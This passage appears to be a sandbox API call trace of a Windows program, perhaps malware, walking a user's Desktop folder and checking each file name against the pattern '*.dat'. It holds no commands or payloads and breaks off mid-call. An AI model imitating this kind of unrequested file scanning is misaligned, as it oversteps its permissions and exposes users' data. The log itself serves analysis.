[0146.578] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362ca8 | out: hHeap=0x2360000) returned 1 [0146.578] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37ec9c90, ftCreationTime.dwHighDateTime=0x1d7a1f2, ftLastAccessTime.dwLowDateTime=0xa670a600, ftLastAccessTime.dwHighDateTime=0x1d7aeab, ftLastWriteTime.dwLowDateTime=0xa670a600, ftLastWriteTime.dwHighDateTime=0x1d7aeab, nFileSizeHigh=0x0, nFileSizeLow=0x392a, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmyz7bDpg-Yp_.avi", cAlternateFileName="XMYZ7B~1.AVI")) returned 0 [0146.578] FindClose (in: hFindFile=0x8823f0 | out: hFindFile=0x8823f0) returned 1 [0146.578] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0146.578] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x34) returned 0x32baf20 [0146.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", cchWideChar=52, lpMultiByteStr=0x32baf20, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpUsedDefaultChar=0x0) returned 52 [0146.578] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba588 [0146.578] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32baf20 | out: hHeap=0x2360000) returned 1 [0146.578] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.578] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.578] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236abd0 [0146.578] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236abd0, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.578] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236abd0 | out: hHeap=0x2360000) returned 1 [0146.578] PathMatchSpecW (pszFile="Hf4qcXfqlQUQtaJUeRB3", pszSpec="*.dat") returned 0 [0146.578] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba588 | out: hHeap=0x2360000) returned 1 [0146.578] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x144fca0, ftCreationTime.dwHighDateTime=0x1d7a05d, ftLastAccessTime.dwLowDateTime=0xd49eb340, ftLastAccessTime.dwHighDateTime=0x1d7aa8d, ftLastWriteTime.dwLowDateTime=0xd49eb340, ftLastWriteTime.dwHighDateTime=0x1d7aa8d, nFileSizeHigh=0x0, nFileSizeLow=0x656c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HpDI0J.flv", cAlternateFileName="")) returned 1 [0146.578] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.579] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.579] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="HpDI0J.flv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\HpDI0J.flv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\HpDI0J.flv" [0146.579] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.579] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.579] lstrcatW (in: lpString1="\\", lpString2="HpDI0J.flv" | out: lpString1="\\HpDI0J.flv") returned="\\HpDI0J.flv" [0146.579] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\HpDI0J.flv", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0146.579] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2a) returned 0x33400d0 [0146.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\HpDI0J.flv", cchWideChar=42, lpMultiByteStr=0x33400d0, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\HpDI0J.flv", lpUsedDefaultChar=0x0) returned 42 [0146.579] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.579] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.579] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.579] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.579] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab10 [0146.579] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ab10, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.579] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab10 | out: hHeap=0x2360000) returned 1 [0146.579] PathMatchSpecW (pszFile="HpDI0J.flv", pszSpec="*.dat") returned 0 [0146.579] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.579] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99e4c910, ftCreationTime.dwHighDateTime=0x1d7a29a, ftLastAccessTime.dwLowDateTime=0x14e40270, ftLastAccessTime.dwHighDateTime=0x1d7ad13, ftLastWriteTime.dwLowDateTime=0x14e40270, ftLastWriteTime.dwHighDateTime=0x1d7ad13, nFileSizeHigh=0x0, nFileSizeLow=0x4cca, dwReserved0=0x0, dwReserved1=0x0, cFileName="IfzBpGV_K 2s4OumEYx.bmp", cAlternateFileName="IFZBPG~1.BMP")) returned 1 [0146.579] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.579] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.580] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="IfzBpGV_K 2s4OumEYx.bmp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\IfzBpGV_K 2s4OumEYx.bmp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\IfzBpGV_K 2s4OumEYx.bmp" [0146.580] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.580] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.580] lstrcatW (in: lpString1="\\", lpString2="IfzBpGV_K 2s4OumEYx.bmp" | out: lpString1="\\IfzBpGV_K 2s4OumEYx.bmp") returned="\\IfzBpGV_K 2s4OumEYx.bmp" [0146.580] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\IfzBpGV_K 2s4OumEYx.bmp", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0146.580] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x37) returned 0x32bab20 [0146.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\IfzBpGV_K 2s4OumEYx.bmp", cchWideChar=55, lpMultiByteStr=0x32bab20, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\IfzBpGV_K 2s4OumEYx.bmp", lpUsedDefaultChar=0x0) returned 55 [0146.580] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba6f0 [0146.580] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bab20 | out: hHeap=0x2360000) returned 1 [0146.580] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.580] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.580] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab10 [0146.580] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ab10, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.580] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab10 | out: hHeap=0x2360000) returned 1 [0146.580] PathMatchSpecW (pszFile="IfzBpGV_K 2s4OumEYx.bmp", pszSpec="*.dat") returned 0 [0146.580] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba6f0 | out: hHeap=0x2360000) returned 1 [0146.581] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc2d4e00, ftCreationTime.dwHighDateTime=0x1d7aeb1, ftLastAccessTime.dwLowDateTime=0x6d8a7ec0, ftLastAccessTime.dwHighDateTime=0x1d7afea, ftLastWriteTime.dwLowDateTime=0x6d8a7ec0, ftLastWriteTime.dwHighDateTime=0x1d7afea, nFileSizeHigh=0x0, nFileSizeLow=0xfc25, dwReserved0=0x0, dwReserved1=0x0, cFileName="itQ3y7 _7jtUy-n5Tj.wav", cAlternateFileName="ITQ3Y7~1.WAV")) returned 1 [0146.581] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.581] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.581] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="itQ3y7 _7jtUy-n5Tj.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\itQ3y7 _7jtUy-n5Tj.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\itQ3y7 _7jtUy-n5Tj.wav" [0146.581] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.581] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.581] lstrcatW (in: lpString1="\\", lpString2="itQ3y7 _7jtUy-n5Tj.wav" | out: lpString1="\\itQ3y7 _7jtUy-n5Tj.wav") returned="\\itQ3y7 _7jtUy-n5Tj.wav" [0146.581] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\itQ3y7 _7jtUy-n5Tj.wav", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0146.581] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x36) returned 0x32bae20 [0146.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\itQ3y7 _7jtUy-n5Tj.wav", cchWideChar=54, lpMultiByteStr=0x32bae20, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\itQ3y7 _7jtUy-n5Tj.wav", lpUsedDefaultChar=0x0) returned 54 [0146.581] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba270 [0146.581] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bae20 | out: hHeap=0x2360000) returned 1 [0146.581] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.581] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.581] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab88 [0146.581] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ab88, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.581] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab88 | out: hHeap=0x2360000) returned 1 [0146.581] PathMatchSpecW (pszFile="itQ3y7 _7jtUy-n5Tj.wav", pszSpec="*.dat") returned 0 [0146.581] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba270 | out: hHeap=0x2360000) returned 1 [0146.581] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ee1fc0, ftCreationTime.dwHighDateTime=0x1d7a281, ftLastAccessTime.dwLowDateTime=0xc160d1b0, ftLastAccessTime.dwHighDateTime=0x1d7a555, ftLastWriteTime.dwLowDateTime=0xc160d1b0, ftLastWriteTime.dwHighDateTime=0x1d7a555, nFileSizeHigh=0x0, nFileSizeLow=0x1065, dwReserved0=0x0, dwReserved1=0x0, cFileName="kftoKnOna.m4a", cAlternateFileName="KFTOKN~1.M4A")) returned 1 [0146.582] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.582] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.582] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="kftoKnOna.m4a" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\kftoKnOna.m4a") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\kftoKnOna.m4a" [0146.582] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.582] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.582] lstrcatW (in: lpString1="\\", lpString2="kftoKnOna.m4a" | out: lpString1="\\kftoKnOna.m4a") returned="\\kftoKnOna.m4a" [0146.582] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\kftoKnOna.m4a", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0146.582] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2d) returned 0x33400d0 [0146.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\kftoKnOna.m4a", cchWideChar=45, lpMultiByteStr=0x33400d0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\kftoKnOna.m4a", lpUsedDefaultChar=0x0) returned 45 [0146.582] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.582] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.582] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.583] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab40 [0146.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ab40, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.583] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab40 | out: hHeap=0x2360000) returned 1 [0146.583] PathMatchSpecW (pszFile="kftoKnOna.m4a", pszSpec="*.dat") returned 0 [0146.583] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.583] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x220822b0, ftCreationTime.dwHighDateTime=0x1d7a1b5, ftLastAccessTime.dwLowDateTime=0x795f46e0, ftLastAccessTime.dwHighDateTime=0x1d7a856, ftLastWriteTime.dwLowDateTime=0x795f46e0, ftLastWriteTime.dwHighDateTime=0x1d7a856, nFileSizeHigh=0x0, nFileSizeLow=0x12e23, dwReserved0=0x0, dwReserved1=0x0, cFileName="KrqEI2ID-.bmp", cAlternateFileName="KRQEI2~1.BMP")) returned 1 [0146.583] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.583] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.583] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="KrqEI2ID-.bmp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\KrqEI2ID-.bmp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\KrqEI2ID-.bmp" [0146.583] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.583] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.583] lstrcatW (in: lpString1="\\", lpString2="KrqEI2ID-.bmp" | out: lpString1="\\KrqEI2ID-.bmp") returned="\\KrqEI2ID-.bmp" [0146.583] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\KrqEI2ID-.bmp", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0146.583] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2d) returned 0x33400d0 [0146.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\KrqEI2ID-.bmp", cchWideChar=45, lpMultiByteStr=0x33400d0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\KrqEI2ID-.bmp", lpUsedDefaultChar=0x0) returned 45 [0146.583] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.583] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.583] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.584] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab28 [0146.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236ab28, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.584] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab28 | out: hHeap=0x2360000) returned 1 [0146.584] PathMatchSpecW (pszFile="KrqEI2ID-.bmp", pszSpec="*.dat") returned 0 [0146.584] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.584] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd19e8210, ftCreationTime.dwHighDateTime=0x1d7a37b, ftLastAccessTime.dwLowDateTime=0x487c7e0, ftLastAccessTime.dwHighDateTime=0x1d7b03d, ftLastWriteTime.dwLowDateTime=0x487c7e0, ftLastWriteTime.dwHighDateTime=0x1d7b03d, nFileSizeHigh=0x0, nFileSizeLow=0x1a1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="M8FP6UY.png", cAlternateFileName="")) returned 1 [0146.592] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.592] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.592] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="M8FP6UY.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\M8FP6UY.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\M8FP6UY.png" [0146.592] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.592] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.592] lstrcatW (in: lpString1="\\", lpString2="M8FP6UY.png" | out: lpString1="\\M8FP6UY.png") returned="\\M8FP6UY.png" [0146.592] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\M8FP6UY.png", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0146.592] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2b) returned 0x33400d0 [0146.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\M8FP6UY.png", cchWideChar=43, lpMultiByteStr=0x33400d0, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\M8FP6UY.png", lpUsedDefaultChar=0x0) returned 43 [0146.592] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.592] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.592] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.593] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236aaf8 [0146.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x236aaf8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.593] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236aaf8 | out: hHeap=0x2360000) returned 1 [0146.593] PathMatchSpecW (pszFile="M8FP6UY.png", pszSpec="*.dat") returned 0 [0146.593] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.593] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5551b8a0, ftCreationTime.dwHighDateTime=0x1d7aa9f, ftLastAccessTime.dwLowDateTime=0x905c4cf0, ftLastAccessTime.dwHighDateTime=0x1d7aff7, ftLastWriteTime.dwLowDateTime=0x905c4cf0, ftLastWriteTime.dwHighDateTime=0x1d7aff7, nFileSizeHigh=0x0, nFileSizeLow=0x9dde, dwReserved0=0x0, dwReserved1=0x0, cFileName="MApTBDPnV.mkv", cAlternateFileName="MAPTBD~1.MKV")) returned 1 [0146.593] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.593] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: 